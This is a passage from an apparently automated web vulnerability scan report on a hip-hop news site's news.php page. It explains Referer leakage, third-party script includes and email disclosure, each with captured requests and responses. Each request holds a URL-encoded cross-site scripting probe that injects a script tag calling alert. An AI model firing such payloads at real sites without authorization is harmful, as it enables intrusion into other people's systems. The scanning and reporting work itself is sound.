<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
   <meta name="keywords" content="hip hop, thats hiphop, hip-hop, hip, hop, rap
...[SNIP]...
</a>
                                       <form id="login" action="http://www.thatshiphop.com/index.php?page=login" method="post">
                                       <input type="hidden" name="action" value="authenticate" />
...[SNIP]...
</label><input type="password" name="login_password" id="password"></p>
...[SNIP]...

7. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.thatshiphop.com
Path:   /news.php

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /news.php?%27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00003E)%3C/script%3E HTTP/1.1
Host: www.thatshiphop.com
Proxy-Connection: keep-alive
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 19:56:43 GMT
Server: Apache/2.2.14 (Unix) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Content-Type: text/html; charset=UTF-8
Content-Length: 21464


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
   <meta name="keywords" content="hip hop, thats hiphop, hip-hop, hip, hop, rap
...[SNIP]...
</script>
                   <script type="text/javascript"
                   src="http://pagead2.googlesyndication.com/pagead/show_ads.js">

                   </script>
...[SNIP]...
</script>
                           <script type="text/javascript"
                           src="http://pagead2.googlesyndication.com/pagead/show_ads.js">

                           </script>
...[SNIP]...
</script>
                           <script type="text/javascript"
                           src="http://pagead2.googlesyndication.com/pagead/show_ads.js">

                           </script>
...[SNIP]...

8. Cross-domain script include  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.thatshiphop.com
Path:   /news.php

Issue detail

The response dynamically includes the following script from another domain:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /news.php?%27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00003E)%3C/script%3E HTTP/1.1
Host: www.thatshiphop.com
Proxy-Connection: keep-alive
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 19:56:43 GMT
Server: Apache/2.2.14 (Unix) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Content-Type: text/html; charset=UTF-8
Content-Length: 21464


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
   <meta name="keywords" content="hip hop, thats hiphop, hip-hop, hip, hop, rap
...[SNIP]...
</script>
                   <script type="text/javascript"
                   src="http://pagead2.googlesyndication.com/pagead/show_ads.js">

                   </script>
...[SNIP]...
</script>
                           <script type="text/javascript"
                           src="http://pagead2.googlesyndication.com/pagead/show_ads.js">

                           </script>
...[SNIP]...
</script>
                           <script type="text/javascript"
                           src="http://pagead2.googlesyndication.com/pagead/show_ads.js">

                           </script>
...[SNIP]...

9. Email addresses disclosed  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.thatshiphop.com
Path:   /news.php

Issue detail

The following email address was disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /news.php?%27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00003E)%3C/script%3E HTTP/1.1
Host: www.thatshiphop.com
Proxy-Connection: keep-alive
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 19:56:43 GMT
Server: Apache/2.2.14 (Unix) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Content-Type: text/html; charset=UTF-8
Content-Length: 21464


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
   <meta name="keywords" content="hip hop, thats hiphop, hip-hop, hip, hop, rap
...[SNIP]...
<a href="mailto:info@thatshiphop.com">info@thatshiphop.com</a>
...[SNIP]...

Report generated by XSS.CX at Sun Apr 17 17:26:56 CDT 2011.